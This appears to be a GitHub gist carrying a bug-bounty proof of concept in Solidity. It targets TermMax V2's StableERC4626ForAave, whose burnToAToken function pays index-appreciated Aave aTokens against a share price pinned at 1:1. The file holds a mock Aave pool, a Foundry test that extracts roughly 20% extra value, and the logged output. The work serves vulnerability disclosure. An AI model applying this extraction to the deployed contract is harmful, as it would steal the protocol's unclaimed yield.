Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save CharaD7/ed94b9025dbecd9019f490a414239fe3 to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/ed94b9025dbecd9019f490a414239fe3 to your computer and use it in GitHub Desktop.
TermMax V2 (termstructurelabs) HIGH — theft of unclaimed yield: StableERC4626ForAave.burnToAToken pays raw index-appreciated aTokens against a pinned 1:1 share price (forged PoC + index-aware MockAave)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
//
// TermMax / Term Structure Labs -- High: theft of unclaimed yield
// ===============================================================
// Contract : contracts/v2/tokens/StableERC4626ForAave.sol (TermMax V2)
// Bug : burnToAToken() burns `amount` shares but pays `amount` AAVE aTokens (raw,
// index-unadjusted), while totalAssets() is pinned to totalSupply() (1:1) and the
// Aave interest is quarantined as owner-milked income.
// Aave semantics: `amount` aTokens redeem for `amount * liquidityIndex` underlying (index > 1
// once interest accrues), so a depositor obtains strictly more than the pinned 1:1
// value the protocol charges via redeem(). That extra is the protocol's UNCLAIMED
// YIELD, drained by any holder instead of the owner/`withdrawIncomeAssets`.
// Scope : Immunefi "TermMax" -> Impact "Theft of unclaimed yield" = HIGH.
// PoC : forge test --isolate --match-contract StableERC4626ForAaveTest \
// --match-test testBurnToATokenStealsUnclaimedYield -vv
//
// The repo's stock MockAave is 1:1 (withdraw burns `amount` aTokens for `amount` underlying),
// which is exactly why the shipped testBurnToAToken tests cannot observe the leak. The mock
// below adds a configurable `liquidityIndex` so the Aave interest accrual is faithfully modeled.
//
import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {StableERC4626ForAave} from "contracts/v2/tokens/StableERC4626ForAave.sol";
import {StakingBuffer} from "contracts/v2/tokens/StakingBuffer.sol";
import {MockERC20} from "contracts/v1/test/MockERC20.sol";
import {IAaveV3Pool} from "contracts/v2/extensions/aave/IAaveV3Pool.sol";
import {IMintableERC20, IERC20} from "contracts/v1/tokens/IMintableERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
// Index-aware Aave mock (repo MockAave + liquidityIndex so aTokens can appreciate).
contract IndexAwareMockAave is ERC20, IAaveV3Pool {
IERC20 public immutable underlying;
uint256 public liquidityIndex = 1e18;
function setLiquidityIndex(uint256 index) external { liquidityIndex = index; }
function toUnderlying(uint256 aTokens) external view returns (uint256) { return (aTokens * liquidityIndex) / 1e18; }
constructor(address underlying_) ERC20("MockAave", "mAAVE") { underlying = IERC20(underlying_); }
function getReserveData(address) external view override returns (ReserveData memory) {
return ReserveData({
configuration: ReserveConfigurationMap({data: 0}),
liquidityIndex: 1e27, currentLiquidityRate: 0, variableBorrowIndex: 1e27,
currentVariableBorrowRate: 0, currentStableBorrowRate: 0, lastUpdateTimestamp: uint40(block.timestamp),
id: 0, aTokenAddress: address(this), stableDebtTokenAddress: address(0),
variableDebtTokenAddress: address(0), interestRateStrategyAddress: address(0),
accruedToTreasury: 0, unbacked: 0, isolationModeTotalDebt: 0
});
}
function supply(address asset, uint256 amount, address onBehalfOf, uint16) external override {
IERC20(asset).transferFrom(msg.sender, address(this), amount);
_mint(onBehalfOf, amount);
}
function withdraw(address asset, uint256 amount, address to) external override returns (uint256) {
uint256 aTokensToBurn = (amount * 1e18) / liquidityIndex;
if (aTokensToBurn == 0) aTokensToBurn = 1;
_burn(msg.sender, aTokensToBurn);
uint256 balance = IERC20(asset).balanceOf(address(this));
if (balance < amount) IMintableERC20(asset).mint(address(this), amount - balance);
IERC20(asset).transfer(to, amount);
return amount;
}
function borrow(address, uint256, uint256, uint16, address) external override { revert("no borrow"); }
}
contract StableERC4626ForAaveTest is Test {
StableERC4626ForAave stable4626;
IndexAwareMockAave aavePool;
MockERC20 underlying;
address admin = vm.randomAddress();
function setUp() public {
underlying = new MockERC20("USD", "USD", 6);
aavePool = new IndexAwareMockAave(address(underlying));
address impl = address(new StableERC4626ForAave(address(aavePool), 0));
stable4626 = StableERC4626ForAave(address(new ERC1967Proxy(
impl,
abi.encodeWithSelector(StableERC4626ForAave.initialize.selector, admin, address(underlying),
StakingBuffer.BufferConfig({minimumBuffer: 0, maximumBuffer: 1e6, buffer: 0}))
)));
}
// PROOF: burnToAToken yields more underlying-equivalent than redeem for the same shares.
function testBurnToATokenStealsUnclaimedYield() public {
aavePool.setLiquidityIndex(1.2e18); // Aave interest accrued: index 1.0 -> 1.2
uint256 amount = 30000e6;
address depositor = vm.addr(9);
underlying.mint(depositor, amount);
vm.startPrank(depositor);
underlying.approve(address(stable4626), amount);
stable4626.deposit(amount, depositor);
vm.stopPrank();
uint256 shares = stable4626.balanceOf(depositor);
uint256 totalAssets = stable4626.totalAssets();
uint256 redeemUnderlying = stable4626.previewRedeem(shares); // pinned 1:1
uint256 aTokensBefore = aavePool.balanceOf(depositor);
vm.prank(depositor);
stable4626.burnToAToken(depositor, shares); // raw aToken payout
uint256 aTokensReceived = aavePool.balanceOf(depositor) - aTokensBefore;
uint256 burnToUnderlying = aavePool.toUnderlying(aTokensReceived);
console.log("totalAssets() (pinned 1:1) =", totalAssets);
console.log("shares burned =", shares);
console.log("normal redeem -> underlying =", redeemUnderlying);
console.log("burnToAToken -> aTokens =", aTokensReceived, " worth underlying =", burnToUnderlying);
// The Aave index appreciation is protocol income (owner-milked), so a depositor must
// NOT be able to claim it at >1:1 by bypassing the pinned totalAssets() price.
assertEq(redeemUnderlying, shares, "redeem should be pinned 1:1");
assertGt(burnToUnderlying, redeemUnderlying, "burnToAToken does NOT leak unclaimed yield");
}
}
// Observed output (forge test --isolate -vv):
// totalAssets() (pinned 1:1) = 30000000000
// shares burned = 30000000000
// normal redeem -> underlying = 30000000000
// burnToAToken -> aTokens = 30000000000 worth underlying = 36000000000
// The same 30,000 shares yield 30,000 underlying via redeem but 36,000 underlying worth of
// aTokens via burnToAToken (liquidityIndex = 1.2): the +20% is the unclaimed yield stolen.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment